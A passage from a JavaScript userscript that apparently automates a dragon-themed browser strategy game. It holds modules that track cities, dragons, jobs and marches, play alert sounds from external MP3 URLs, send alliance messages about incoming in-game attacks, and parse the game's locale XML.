									if (Seed.refresh_cities[idx] && Seed.refresh_cities[idx].isRefreshing) Seed.refresh_cities[idx].isRefreshing = false;
									clearInterval(Seed.tickTimer);
									setTimeout(Seed.restartTick, delay);
									return;
								}
							});
						}
					}
				}
			},
			restartTick: function() {
				var t = Seed;
				if (t.tickTimer) clearInterval(t.tickTimer);
				t.tickTimer = setInterval(t.tick, 1000);
			},

			updateCity: function(city) {
				var t = Seed;
				if (!city) return;
				t.updatingCity = true;
				verboseLog(translate('Updating City values') + ': ' + city.name);
				var cityIdx = (city.type == 'Capital') ? CAPITAL.id : (city.name.charAt(city.name.length - 1));
				if (typeof t.cityIdx[city.id] !== 'undefined' && t.cityIdx[city.id] !== null) {
					cityIdx = t.cityIdx[city.id];
				} else if (city.type == 'Capital') {
					cityIdx = CAPITAL.id;
				} else {
					logit(city.outpost_type);
					switch (city.outpost_type) {
						case 'WaterDragonOutpost':
							cityIdx = WATER_OUTPOST.id;
							break;
						case 'StoneDragonOutpost':
							cityIdx = STONE_OUTPOST.id;
							break;
						case 'FireDragonOutpost':
							cityIdx = FIRE_OUTPOST.id;
							break;
						case 'WindDragonOutpost':
							cityIdx = WIND_OUTPOST.id;
							break;
						case 'IceDragonOutpost':
							cityIdx = ICE_OUTPOST.id;
							break;
						case 'SwampDragonOutpost':
							cityIdx = SWAMP_OUTPOST.id;
							break;
						case 'ForestDragonOutpost':
							cityIdx = FOREST_OUTPOST.id;
							break;
						case 'DesertDragonOutpost':
							cityIdx = DESERT_OUTPOST.id;
							break;
						case 'SpectralDragonOutpost':
							cityIdx = SPECTRAL_OUTPOST.id;
							break;
						case 'ChronoDragonOutpost':
							cityIdx = CHRONO_OUTPOST.id;
							break;
						case 'SkythroneOutpost':
							cityIdx = SKY_OUTPOST.id;
							break;
						case 'CaveDragonOutpost':
							cityIdx = CAVE_OUTPOST.id;
							break;
						case 'LunaDragonOutpost':
							cityIdx = LUNA_OUTPOST.id;
							break;
						case 'ColossusDragonOutpost':
							cityIdx = COLOSSUS_OUTPOST.id;
							break;
						
						default:
							cityIdx = SPECTRAL_OUTPOST.id;
					}

					if (cityIdx == CAPITAL.id) cityIdx = ICE_OUTPOST.id;

					if (typeof t.cities[cityIdx] !== 'undefined' && t.cities[cityIdx] !== null) {
						t.cityIdx[t.cities[cityIdx].id] = t.cities.length;
						t.cities[t.cities.length] = t.cities[cityIdx];
					}
				}

				t.cities[cityIdx] = city;
				t.cityIdx[city.id] = cityIdx;
				t.cityTs[city.id] = serverTime();

				/* Add dragons object (by Didi) */
				var dragon = null;
				switch (toNum(cityIdx)) {
					case CAPITAL.id:
						dragon = city.great_dragon;
						break;
					case WATER_OUTPOST.id:
						dragon = city.water_dragon;
						break;
					case STONE_OUTPOST.id:
						dragon = city.stone_dragon;
						break;
					case FIRE_OUTPOST.id:
						dragon = city.fire_dragon;
						break;
					case WIND_OUTPOST.id:
						dragon = city.wind_dragon;
						break;
					case ICE_OUTPOST.id:
						dragon = city.ice_dragon;
						break;
					case SWAMP_OUTPOST.id:
						dragon = city.swamp_dragon;
						break;
					case FOREST_OUTPOST.id:
						dragon = city.forest_dragon;
						break;
					case DESERT_OUTPOST.id:
						dragon = city.desert_dragon;
						break;
					case CHRONO_OUTPOST.id:
						dragon = city.chrono_dragon;
						break;
					case SKY_OUTPOST.id:
						dragon = city.kaiser_dragon;
						break;
					case CAVE_OUTPOST.id:
						dragon = city.cave_dragon;
						break;
					case LUNA_OUTPOST.id:
						dragon = city.luna_dragon;
						break;
					case COLOSSUS_OUTPOST.id:
						dragon = city.colossus_dragon;
						break;
					default:
						dragon = null;
						break;
				}
				if (dragon !== null) {
					var dragon_type = dragon.type.substring(dragon.type.indexOf('::') + 2);
					dragon_type = (dragon_type == 'CityGreatDragon') ? 'GreatDragon' : dragon_type;
					var aerial_combat_level = (Seed.player.research['AerialCombat']) ? Seed.player.research['AerialCombat'] : 0;
					t.dragons[dragon_type] = dragon;
					t.dragons[dragon_type].name = dragon_type;
					t.dragons[dragon_type].can_attack = (t.checkArmorDragon(dragon_type) && t.dragons[dragon_type].level >= 8 && aerial_combat_level > 0 && dragon_type != 'SpectralDragon');
					t.dragons[dragon_type].city_id = city.id;

					if (dragon.life !== dragon.maximum_life) {
						t.dragons[dragon_type].cure_at = serverTime() + ((dragon.maximum_life - dragon.life) / dragon.recovery_rate) * 3600;
					} else {
						t.dragons[dragon_type].cure_at = serverTime();
					}
					var found_in_list = false;
					for (var gd = 0; gd < t.dragonList.length && !found_in_list; gd++)
						if (t.dragonList[gd].type == dragon_type) found_in_list = true;
					if (!found_in_list) {
						t.dragonList.push({
							type: dragon_type,
							city: cityIdx
						});
						t.dragonList.sort(function(a, b) {
							return a.city - b.city;
						});
					}
				}

				if (cityIdx == CAPITAL.id) {
					/* generals */
					for (var i = 0; i < city.generals.length; i++) {
						t.generals[city.generals[i].id] = city.generals[i];
					}
					t.numGenerals = city.generals.length;

					/* Purge expired marches */
					Marches.purge();
					/* marches */
					for (var i = 0; i < city.marches.length; i++) {
						var march = city.marches[i];
						if (march.general_id) {
							if (!t.generals[march.general_id]) {
								t.generals[march.general_id] = {};
								debugLog('ERROR in updateCity() : could not be found General Id: ' + march.general_id + ' in Seed.generals. Creating an entry to fix the problem.');
							}
							t.generals[march.general_id].busy = true;
							t.generals[march.general_id].x = march.x;
							t.generals[march.general_id].y = march.y;
							t.generals[march.general_id].status = march.status;
						}
						var dragon_type = null;
						var found_in_list = false;
						for (var unit_type in march.units) {
							for (var gd = 0; gd < t.dragonList.length && !found_in_list; gd++) {
								if (t.dragonList[gd].type == unit_type) {
									found_in_list = true;
									dragon_type = unit_type;
								}
							}
						}
						if (dragon_type !== null && t.dragons[dragon_type])
							t.dragons[dragon_type].is_in_city = false;

						var m = cloneProps(march);
						m.target_name = m.destination_name ? translate('City') + ' ' + m.destination_name : translate(m.terrain_type);
						if ((cur_march = Marches.find(m.id)) == null) {
							Marches.add(m, (m.ownerId ? m.ownerId : null));
						} else {
							Marches.update(m);
						}
					}
				}
				for (var i = 0; i < city.jobs.length; i++) {
					t.checkAddJob(city.jobs[i]);
				}
				t.checkRemoveJobs();

				t.updatingCity = false;
				for (var i = 0; i < t.cityInit.length; i++) {
					if (t.cityInit[i].id === city.id && !t.cityInit[i].loaded) {
						t.cityInit[i].loaded = true;
						var message = translate('City') + ' ' + city.id + ' ' + translate('Successfully initialized');
						verboseLog(message);
						debugLog(message);
					}
				}
			},

			/* Function to count number of piece armor (by Didi) */
			checkArmorDragon: function(dragon_type) {
				var t = Seed;
				var armors = ['BodyArmor', 'ClawGuards', 'TailGuard', 'Helmet'];
				var ret = 0;
				for (var i = 0; i < armors.length; i++) {
					if (toNum(Seed.player.items[dragon_type + armors[i]]) !== 0) {
						ret++;
					}
				}
				if (ret == 4) return true;
				else return false;
			},

			checkAddJob: function(job) {
				var t = Seed;
				var cityId = job.city_id;

				if (!job.run_at) {
					debugLog('checkAddJob job.run_at is null:\n' + inspectObj(job, 5, 1));
				} else {
					job.run_at += 1;
				}

				if (!t.jobs[cityId]) {
					t.jobs[cityId] = {};
				}
				if (job.queue == 'march') {

					if ((march = Marches.find(job.march_id)) == null) {

						if (job.run_at < serverTime()) {
							return;
						}
						debugLog('checkAddJob MISSING MARCH:\n' + inspectObj(job, 5, 1)); /* +'\n'+ inspectObj(Data.marches, 6, 1));*/

					} else {

						march.run_at = job.run_at;
						march.duration = job.duration;
						march.job_id = job.id;
						if (march.status == 'marching') march.real_run_at = job.run_at + toNum(job.duration);
						if (march.real_run_at < march.run_at) march.real_run_at = march.run_at; /* Take into account the server overload :)) */
						/*Marches.trace('CheckAddJob', march.id);*/

					}
				}
				if (!t.jobs[cityId][job.id]) t.jobs[cityId][job.id] = cloneProps(job);

				//if (job.queue == 'march') return;
				if (job.queue == 'building') {

					Tabs.Jobs.last_built[cityId] = {
						id: job.city_building_id,
						level: job.level
					};
					//logit('Last built = '+inspectObj(Tabs.Jobs.last_built,6,1));

				}
				var found = false;

				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					var city = Seed.cities[cityIdx];
					if (city && city.id == cityId) {
						for (var j = 0; j < city.jobs.length && !found; j++) {
							if (city.jobs[j].id == job.id) {
								city.jobs[j].mergeWith(job);
								found = true;
							}
						}
						if (!found)
							city.jobs.push(job);
					}
				}
			},
			checkRemoveJobs: function() {
				/* Remove jobs in Seed.jobs that has been cancelled through the flash game */
				var t = Seed;
				if (!Seed.cities || Seed.cities.length == 0) return;
				for (var cityIdx = 0; cityIdx < Seed.cities.length; cityIdx++) {
					if (!Seed.cities[cityIdx]) continue;
					var cid = Seed.cities[cityIdx].id;
					var city = Seed.cities[cityIdx];
					for (var p in Seed.jobs[cid]) {
						var job = Seed.jobs[cid][p],
							found = false;
						if (job.queue != 'march') {
							for (var i = 0; i < city.jobs.length && !found; i++)
								if (p == city.jobs[i].id) found = true;
							if (!found) {
								debugLog('checkRemoveJob delete job :\n' + inspectObj(job, 5, 1));
								delete(Seed.jobs[cid][p]);
							}
						}
					}
				}
			}
		};
		/******************************** Seed package *******************************/

		/******************************** SoundPlayer package ************************/
		var SoundPlayer = {
			alertString: '',
			shortString: '',
			checkInterval: null,
			attack_active: false,
			attack_repeat_timer: null,
			spy_active: false,
			spy_repeat_timer: null,

			SWF_PLAYER_URL: 'https://wackoscripts.com/mp3/teamwork.swf',
			SOUND_TYPES: ['attack', 'spy', 'building', 'research', 'units', 'fortuna'],
			DEFAULT_SOUND_URL: {
				attack: 'https://wackoscripts.com/mp3/tower.mp3',
				spy: 'https://wackoscripts.com/mp3/spy.mp3',
				building: 'https://wackoscripts.com/mp3/construction.mp3',
				units: 'https://wackoscripts.com/mp3/training.mp3',
				research: 'https://wackoscripts.com/mp3/research.mp3',
				fortuna: 'https://wackoscripts.com/mp3/wheel.mp3'
			},


			init: function() {
				var t = SoundPlayer;
				t.oldAlertCount = 0;
				t.checkInterval = setInterval(t.checkAlerts, 1000);
			},
			loadPlayer: function(sound_type, url) {
				var t = SoundPlayer;
				if (!url) {
					if (!Data.options.sound['URL_' + sound_type]) {
						if (!t.DEFAULT_SOUND_URL[sound_type]) return;
						url = t.DEFAULT_SOUND_URL[sound_type];
					} else url = Data.options.sound['URL_' + sound_type];
				}
				var player_url = (Data.options.sound['URL_player'] || SoundPlayer.SWF_PLAYER_URL);
				var player_id = 'SwfPlyr_' + sound_type;
				var container_id = 'div_SwfPlyr_' + sound_type;
				var container = document.getElementById(UID[container_id]);
				var audio = '<object class="playerpreview" id="' + player_id + '" type="application/x-shockwave-flash" data="' + player_url + '" width="50" height="0">' + '	<param name="movie" value="' + player_url + '">' + '	<param name="AllowScriptAccess" value="always" />' + '	<param name="FlashVars" value="mp3=' + url + '&amp;autoplay=1" />' + '</object>';
				if (container) try {
					container.innerHTML = audio;
				} catch (e) {}
			},
			PlaySound: function(sound_type, sample, do_repeat, repeat_delay) {
				var t = SoundPlayer;
				var container_id = 'div_SwfPlyr_' + sound_type;
				var container = document.getElementById(UID[container_id]);
				if ((!sample && (
					((/(building|units|research)/.test(sound_type)) && Data.options.sound.enable_jobs) ||
					((/(attack|spy)/.test(sound_type)) && Data.options.sound.enable_sentinel) ||
					(sound_type == 'fortuna' && Data.options.sound.enable_fortuna))) || sample) {
					t.loadPlayer(sound_type);
					if (!sample && do_repeat && repeat_delay) {
						if (sound_type == 'attack') {
							t.attack_active = true;
							t.attack_repeat_timer = setTimeout(function() {
								t.PlaySound(sound_type, sample, do_repeat, repeat_delay);
							}, repeat_delay * 60000);
						}
						if (sound_type == 'spy') {
							t.spy_active = true;
							t.spy_repeat_timer = setTimeout(function() {
								t.PlaySound(sound_type, sample, do_repeat, repeat_delay);
							}, repeat_delay * 60000);
						}
					}
				}
			},
			StopSound: function(sound_type) {
				var t = SoundPlayer;
				var container_id = 'div_SwfPlyr_' + sound_type;
				var container = document.getElementById(UID[container_id]);
				if (container) container.innerHTML = '';
				if (sound_type == 'attack') {
					t.attack_active = false;
					if (t.attack_repeat_timer) {
						clearTimeout(t.attack_repeat_timer);
						t.attack_repeat_timer = null;
					}
				}
				if (sound_type == 'spy') {
					t.spy_active = false;
					if (t.spy_repeat_timer) {
						clearTimeout(t.spy_repeat_timer);
						t.spy_repeat_timer;
					}
				}
			},
			getNbCurrentAlertForAutoWall: function() {
				var t = SoundPlayer;
				var attacks = 0;
				var spies = 0;
				var d;
				var ret = {
					nbSpyInProgress: 0,
					maxSpy: 0,
					nbAttackInProgress: 0,
					maxTimeArrived: 0
				};
				if (Data.options.messages_tower.length != 0) {
					for (var i = 0; i < Data.options.messages_tower.length; i++) {
						d = Date.parse(Data.options.messages_tower[i].arrive_at) / 1000;
						var now = toNum(serverTime());
						var diff = d - now;
						if (diff > 0) {
							if(diff > ret.maxTimeArrived) {
								ret.maxTimeArrived = diff;
							}
							/* Counts only sentinel reports for which the theroical arrival time is not past */
							if (Data.options.messages_tower[i].type == 0) {
								if(!(Data.options.messages_tower[i].warnings && Data.options.messages_tower[i].warnings.outpost_attack)) {
									ret.nbAttackInProgress++;
								}
							}
							if (Data.options.messages_tower[i].type == 1) {
								if(!(Data.options.messages_tower[i].warnings && Data.options.messages_tower[i].warnings.outpost_attack)) {
									ret.nbSpyInProgress++;
									if(Data.options.messages_tower[i].units['Spy']  > ret.maxSpy) {
										ret.maxSpy=Data.options.messages_tower[i].units['Spy'];
									}
								}
							}
						}
					}
				}
				return ret;
			},
			checkAlerts: function() {
				var t = SoundPlayer;
				t.alertString = '';
				t.shortString = '';
				var attacks = 0;
				var spies = 0;
				var raise_attack = false,
					raise_spy = false,
					send_msg = false,
					d;
				if (Data.options.messages_tower.length != 0) {
					for (var i = 0; i < Data.options.messages_tower.length; i++) {
						d = Date.parse(Data.options.messages_tower[i].arrive_at) / 1000;
						var now = toNum(serverTime());
						var diff = now - d;
						if (diff < 0) {
							/* Raise alarm sound only for new reports */
							if (!Data.options.messages_tower[i].warned) {
								Data.options.messages_tower[i].warned = true;
								if (Data.options.messages_tower[i].type == 0) raise_attack = true;
								else raise_spy = true;
							}
							/* Send message to all alliance members if enabled */
							if (!Data.options.messages_tower[i].sent && Data.options.tower.send_message &&
								(Data.options.tower.msg_subject && Data.options.tower.msg_subject != null) &&
								(Data.options.tower.msg_body && Data.options.tower.msg_body != null) &&
								(Data.options.messages_tower[i].type == 0)) {
								Data.options.messages_tower[i].sent = true;
								if (Seed.player.alliance && Seed.player.alliance.id > 0) t.send_message(i);
							}
							/* Counts only sentinel reports for which the theroical arrival time is not past */
							if (Data.options.messages_tower[i].type == 0) attacks++;
							if (Data.options.messages_tower[i].type == 1) spies++;
						}
					}
				}
				if (attacks == 0 && t.attack_active) t.StopSound('attack'); /* Stop attack sound if no anymore incoming attack */
				if (spies == 0 && t.spy_active) t.StopSound('spy'); /* Stop spy sound if no anymore incoming spy */
				if (attacks + spies > 0) {
					t.alertString += '<div class=' + UID['info_alerts'] + '>' + translate('Warning') + ' : <B>';
					if (attacks == 0) {
						if (spies > 1) {
							t.alertString += spies + ' ' + translate('spies') + ' (&incoming_spy&)';
							t.shortString += spies + ' ' + translate('spies');
						} else {
							t.alertString += '1 ' + translate('spy') + ' (&incoming_spy&)';
							t.shortString += '1 ' + translate('spy');
						}
					} else if (attacks > 1) {
						if (spies > 1) {
							t.alertString += spies + ' ' + translate('spies') + ' (&incoming_spy&)' + translate('</B> and <B>') + attacks + ' ' + translate('attacks') + ' (&incoming_attack&)';
							t.shortString += spies + ' ' + translate('spies') + ' / ' + attacks + ' ' + translate('attacks');
						} else if (spies == 1) {
							t.alertString += '1 ' + translate('spy') + ' (&incoming_spy&)' + translate('</B> and <B>') + attacks + ' ' + translate('attacks') + ' (&incoming_attack&)';
							t.shortString += '1 ' + translate('spy') + ' / ' + attacks + ' ' + translate('attacks');
						} else {
							t.alertString += attacks + ' ' + translate('attacks') + ' (&incoming_attack&)';
							t.shortString += attacks + ' ' + translate('attacks');
						}
					} else {
						if (spies > 1) {
							t.alertString += spies + ' ' + translate('spies') + ' (&incoming_spy&)' + translate('</B> and <B>') + '1 ' + translate('attack') + ' (&incoming_attack&)';
							t.shortString += spies + ' ' + translate('spies') + ' / 1 ' + translate('attack');
						} else if (spies == 1) {
							t.alertString += '1 ' + translate('spy') + ' (&incoming_spy&)' + translate('</B> and <B>') + '1 ' + translate('attack') + ' (&incoming_attack&)';
							t.shortString += '1 ' + translate('spy') + ' / 1 ' + translate('attack');
						} else {
							t.alertString += '1 ' + translate('attack') + ' (&incoming_attack&)';
							t.shortString += '1 ' + translate('attack');
						}
					}
					t.alertString += '</B> ' + translate('in progress') + '</div>';
					t.shortString = '<input id=' + UID['short_alerts'] + ' type=button class=' + UID['btn_off'] + ' value="' + t.shortString + '" />';
				}
				if (Data.options.tower.enabled && Data.options.sound.enable_sentinel && (raise_attack || raise_spy)) {
					if (raise_attack)
						t.PlaySound('attack', false, (!t.attack_active ? Data.options.sound.repeat_attack : false), Data.options.sound.attack_rdelay);
					else t.PlaySound('spy', false, (!t.spy_active ? Data.options.sound.repeat_spy : false), Data.options.sound.spy_rdelay);
				}
			},
			getFirstAlert: function() {
				var t = SoundPlayer,
					attacks = [],
					spies = [],
					ret = {
						attack: '',
						spy: ''
					};
				if (Data.options.messages_tower.length != 0) {
					for (var i = 0; i < Data.options.messages_tower.length; i++) {
						var diff = toNum(serverTime()) - (Date.parse(Data.options.messages_tower[i].arrive_at) / 1000);
						if (diff < 0) {
							if (Data.options.messages_tower[i].type == 0)
								attacks.push(Data.options.messages_tower[i].arrive_at);
							else spies.push(Data.options.messages_tower[i].arrive_at);
						}
					}
				}
				if (attacks.length > 0) {
					attacks.sort(function(a, b) {
						return a - b;
					});
					ret.attack = timestrh(Date.parse(attacks[0]) / 1000 - toNum(serverTime()));
				}
				if (spies.length > 0) {
					spies.sort(function(a, b) {
						return a - b;
					});
					ret.spy = timestrh(Date.parse(spies[0]) / 1000 - toNum(serverTime()));
				}
				return ret;
			},
			send_message: function(id) {
				var t = SoundPlayer,
					body = Data.options.tower.msg_body,
					msg = Data.options.messages_tower[id],
					found = false,
					city;
				var arrival_time = ((msg.arrive_at != 0) ? new Date(msg.arrive_at).formatDate() + ' ' + new Date(msg.arrive_at).formatTime() : '');
				body = body.replace("%1", msg.alliance);
				body = body.replace("%2", msg.x + ',' + msg.y);
				body = body.replace("%3", msg.troups);
				body = body.replace("%4", arrival_time);
				body = body.replace("%5", Seed.player.name);
				if (toNum(msg.op) != 0) {
					for (var cityIdx = 0; cityIdx < Seed.cities.length && !found; ++cityIdx) {
						if (Seed.cities[cityIdx] && Seed.cities[cityIdx].id == toNum(msg.op)) {
							city = Seed.cities[cityIdx];
							found = true;
						}
					}
				}
				if (!found) city = Seed.cities[CAPITAL.id];
				body = body.replace("%6", translate(city.name));
				body = body.replace("%7", city.x + ',' + city.y);
				MyAjax.messageSend(Data.options.tower.msg_subject, body, Seed.player.alliance.id, false);
			}
		}
		/******************************** SoundPlayer package ************************/

		/******************************** Player package *****************************/
		var Player = {
			
			getWildernesses : function() {
				return Seed.player.player_wildernesses;
			},
			
			getNbWildernesses : function() {
				return Player.getWildernesses().length;
			},
			
			addWildernesses : function(w) {
				Player.getWildernesses().push(w);
			},
			
			removeWildernesses : function(w) {
			}
		};
		/******************************** End Player package *************************/
		
		/******************************** Translation package ************************/
		var Translation = {
			loaded: false,
			xml: {},
			available_langs: [{
				code: 'de',
				desc: 'German'
			}, {
				code: 'en',
				desc: 'English'
			}, {
				code: 'es',
				desc: 'Spanish'
			}, {
				code: 'fr',
				desc: 'French'
			}, {
				code: 'nl',
				desc: 'Dutch'
			}, {
				code: 'sv',
				desc: 'Swedish'
			}],

			/* WARNING: DON'T CHANGE THIS ORDER */
			_section: [
				'items',
				'common',
				'boosts',
				'buildings',
				'messages',
				'dialogs',
				'dragons',
				'levels',
				'troops',
				'map',
				'alliances',
				'outposts',
				'research',
				'quests',
				'trading',
				'activerecord'
			],

			init: function(notify) {
				var t = Translation;
				t.fetchLocale(function(rslt) {
					if (rslt.ok) {
						verboseLog(translate('Locale data was Successfully requested from the sever'));
						t.loaded = true;
						t.fixResults();
					} else verboseLog('fetchLocale ' + translate('was returned with a status of') + ' ' + rslt.ok + ' - ' + rslt.errmsg);
					/*logit(inspectObj(Translation.xml.outposts,8,1));*/
					if (notify) notify(rslt);
				});
			},

			fetchLocale: function(notify) {
				var t = Translation;
				new MyAjaxRequest('locales', 'locales/' + C.attrs.locale + '.xml', {
					'_swf_session_id': C.attrs.sessionId
				}, function(rslt) {
					if (rslt.ok) {
						try {
							t.parseXML(rslt.dat);
						} catch (e) {
							rslt.ok = false;
							rslt.errmsg = e.toString();
						}
					} else if (rslt.errmsg.indexOf('404') !== -1) {
						new MyAjaxRequest('locales', 'locales/en.xml', {
							'%5Fswf%5Fsession%5Fid': C.attrs.sessionId
						}, function(rslt) {
							if (rslt.ok) {
								try {
									t.parseXML(rslt.dat);
								} catch (e) {
									rslt.ok = false;
									rslt.errmsg = e.toString();
								}
							}
							if (notify) notify(rslt);
							return;
						});
					}
					if (notify) notify(rslt);
				});
			},

			parseXML: function(xmlStr) {
				var t = Translation;
                var now = parseInt( serverTime() );
                
				/* Remove sections where invalid tags ar present */
				if (xmlStr.indexOf('<targeted-messages>') > 0) xmlStr = xmlStr.substring(0, xmlStr.indexOf('<targeted-messages>')) + xmlStr.substring(xmlStr.indexOf('</targeted-messages>') + 20);

				xmlStr = xmlStr.replace(/<[0-9]+/g, '<');
				xmlStr = xmlStr.replace(/<\/[0-9]+/g, '<\/');
				
				// Didi : complete empty balise
				xmlStr = xmlStr.replace(/<>/g,'<Teamwork_'+now+'>');
				xmlStr = xmlStr.replace(/<\/>/g,'<\/Teamwork_'+now+'>');

				// Didi : replace illegal starting char
				xmlStr = xmlStr.replace(/<[-;,\.<>]/g,'<Teamwork-');
				xmlStr = xmlStr.replace(/<\/[-;,\.<>]/g,'<\/Teamwork-');
				
				xmlTmpObj = new XML.ObjTree();
				var dat = xmlTmpObj.parseXML(xmlStr);

				if (dat.translations) {
					if (dat.translations.parsererror) {
						debugLog('erreur parsing : ' + inspectObj(dat.translations.parsererror, 8, 1));
					}
					for (sect in dat.translations) {
						var to_keep = false;
						for (i = 0; i < t._section.length && !to_keep; i++) {
							if (sect === t._section[i]) to_keep = true;
						}
						if (!to_keep) delete dat.translations[sect];
					}
					t.xml = dat.translations;
				} else
					verboseLog('Error in the XML file structure: <translations> element not found!');
			},

			fixResults: function() {
				var t = Translation.xml;

				function objectToFlat(obj) {
					var r = {};
					for (var key in obj) {
						if (typeof obj[key] === 'object') {
							for (var subkey in obj[key]) {
								if (typeof(obj[key])[subkey] === 'object') {
									for (var subsubkey in (obj[key])[subkey]) {
										if (subsubkey === 'title' || subsubkey === 'name')
											r[key + '-' + subkey] = ((obj[key])[subkey])[subsubkey];
										else
											r[key + '-' + subkey + '-' + subsubkey] = ((obj[key])[subkey])[subsubkey];
									}
								} else {
									if (subkey === 'title' || subkey === 'name')
										r[key] = (obj[key])[subkey];
									else
										r[key + '-' + subkey] = (obj[key])[subkey];
								}
							}
						} else {
							r[key] = obj[key];
						}
					}
					return r;
				}

				var section = ['dialogs', 'messages', 'activerecord', 'dragons', 'alliances']; /*,'errors','confirmations'*/
				for (var i = 0; i < section.length; i++) {
					if (t[section[i]]) t[section[i]] = objectToFlat(t[section[i]]);
				}

				var newObjQuests = {};
				for (var key in t.quests) {
					if (typeof t.quests[key] == 'object') {
						for (var subkey in t.quests[key]) {
							switch (subkey) {
								case 'title':
									newObjQuests[key] = (t.quests[key])[subkey];
									break;
								case 'objectives':
									newObjQuests[key + '-' + subkey] = (t.quests[key])[subkey];
									break;
								default:
									break;
							}
						}
					} else {
						newObjQuests[key] = t.quests[key];
					}
				}
				Translation.xml['quests'] = cloneProps(newObjQuests);

				try {
					t.common.information = t.common.info;
					t.common.Info = t.common.info;
					t.common.omit = t.common.skip;
					t.common['spy-on'] = t.common.spy;
					t.dialogs.researching = t.dialogs.research;

					t.common['enter-coords'] = t.dialogs['attack-screen-enter-coords'];
					t.common['battle-report'] = t.messages['battle-report-title'];
					t.common['auto-collection-of-resources'] = t.dialogs['boost-collect-day'].replace(/:/, '');

					t.common['has-too-many-marches'] = t.activerecord['errors-models-march']['attributes']['player-id']['has-too-many-marches'];
					t.common['not-enough-units'] = t.activerecord['errors-models-march']['attributes']['city-id']['not-enough-units'];
					t.common['could-not-claim'] = t.activerecord['errors-models-player-quest']['could-not-claim'];

					t.common.levels = findSimilarWord(t.common.level, t.messages['spy-tip-prefix']);

					for (var o in t.outposts) {
						if (o.indexOf('-outpost')) {
							var x = o.replace('-outpost', '_dragon') + '-outpost';
							t.outposts[x] = t.outposts[o];
						}
					}
					delete t.common.error;
					delete t.common.home;
					delete t.common.info;
					delete t.common['ranged-attack'];
					delete t.common.skip;
					delete t.common.spy;
					delete t.messages.date;
					delete t.messages.fought;
					delete t.messages.subject;
					delete t.messages.to;
					delete t.dialogs.research;
					delete t.dialogs.spy;
					delete t.dialogs.unavailable;
					delete t.dialogs.upkeep;
				} catch (e) {
					debugLog('Error whilst fixing translation matrix results :\n' + inspectObj(e, 8, 1));
				}
			},

			_normalize: function(str) {
				return (str.toString() || '').toLowerCase().replace(/ /g, '-');
			},

			getContent: function(section, key, subkey) {
				key = Translation._normalize(key);
				if (Translation.xml[section] != undefined) {
					if ((Translation.xml[section])[key] != undefined) {
						return subkey ? ((Translation.xml[section])[key])[subkey] : (Translation.xml[section])[key];
					}
				}
				return false;
			},
			alliances: function(key) {
				return Translation.getContent('alliances', key);
			},
			buildings: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('buildings', key, subkey);
			},
			common: function(key) {
				return Translation.getContent('common', key);
			},
			activerecord: function(key) {
				return Translation.getContent('activerecord', key);
			},
			items: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('items', key, subkey);
			},
			boosts: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('boosts', key, subkey);
			},
			dragons: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('dragons', key, subkey);
			},
			dialogs: function(key) {
				return Translation.getContent('dialogs', key);
			},
			levels: function(key) {
				return Translation.getContent('levels', key, 'title');
			},
			map: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('map', key, subkey);
			},
			messages: function(key) {
				return Translation.getContent('messages', key);
			},
			outposts: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('outposts', key, subkey);
			},
			trading: function(key) {
				return Translation.getContent('trading', key);
			},
			troops: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('troops', key, subkey);
			},
			research: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('research', key, subkey);
			},
			quests: function(key, subkey) {
				subkey = subkey != undefined ? subkey : 'name';
				return Translation.getContent('quests', key, subkey);
			}
		};

		/* Provide language translation services based on the browswer language */
		var needTranslate = {};

		function translate(str, ignore) {
			if (TRANSLATION_ARRAY[str] != undefined) {
				return TRANSLATION_ARRAY[str];
			} else if (Translation.loaded) {
				if( str != undefined) {
					var newStr;
					for (var i = 0; i < Translation._section.length; ++i) {
						newStr = Translation[Translation._section[i]](str);
						if (newStr) return newStr;
					}
				}
				if (IS_NOT_NATIVE_LANG && needTranslate[str] == undefined) {
					needTranslate[str] = 1;
					if (Tabs.Log && !ignore) logit('( Translate ) -> "' + str + '"');
				}
			}
			return str;
		}

		function translateByKey(str, key, section) {
			if (Translation.loaded) {
				var newStr;
				if (section) {
					if (key) newStr = Translation[section](key, str);
					else newStr = Translation[section](str);
					if (newStr) return newStr;
				}
				for (var i = 0; i < Translation._section.length; ++i) {
					if (key) newStr = Translation[Translation._section[i]](key, str);
					else newStr = Translation[Translation._section[i]](str);
					if (newStr) return newStr;
				}
			} else if (TRANSLATION_ARRAY[str] != undefined) {
				return TRANSLATION_ARRAY[str];
			}
			if (IS_NOT_NATIVE_LANG && needTranslate[str] == undefined) {
				needTranslate[str] = 1;
				if (Tabs.Log) logit('( Translate ) -> "' + str + '"');
			}
			return str;
		}
		/******************************** Translation package ************************/

		/*********************************** VerboseLog package *********************************************/
		var VerboseLog = {
			init: function() {
				VerboseLog.setEnable(Data.options.verboseLog.enabled);
			},

			setEnable: function(onOff) {
				Data.options.verboseLog.enabled = onOff;
			}
		};
		/*********************************** VerboseLog package *********************************************/

		/*********************************** Wackoscript package ********************************************/
		var WackoScript = {
			/* Didi  : Internet Ressource manager */
			url_binary_file: [],

			init: function() {
				var t = WackoScript;
				for (var type in Data.options.sound) {
					if (/URL_/.test(type))
						t.url_binary_file.push({
							url: Data.options.sound[type],
							type: type,
							load_timer: null,
							retries: 0
						});
				}
				for (var i = 0; i < t.url_binary_file.length; i++)
					t.url_binary_file[i].load_timer = setTimeout(t.LoadBinary, 1000, t.url_binary_file[i].url, i, false);
			},
			LoadBinary: function(url, index, degraded) {
				var t = WackoScript,
					p = {}, method = 'GET';
				if (degraded && url.indexOf('wackoscripts') > 0) { /* manage www string for wackoscripts URL (SSL certificate that needs www for chrome, and not for FF) */
					if (url.indexOf('//www.') > 0) url = url.replace('//www.', '//');
					else url = url.replace('//wacko', '//www.wacko');
				}
				new MyAjaxRequest('binary', url, p, mycb, false, true);

				function mycb(rslt) {
					if (rslt.ok) {
						logit('url ' + url + ' loaded ==> OK');
						var type = t.url_binary_file[index].type;
						if ((/URL_/.test(type)) && Data.options.sound[type] != url) {
							Data.options.sound[type] = url;
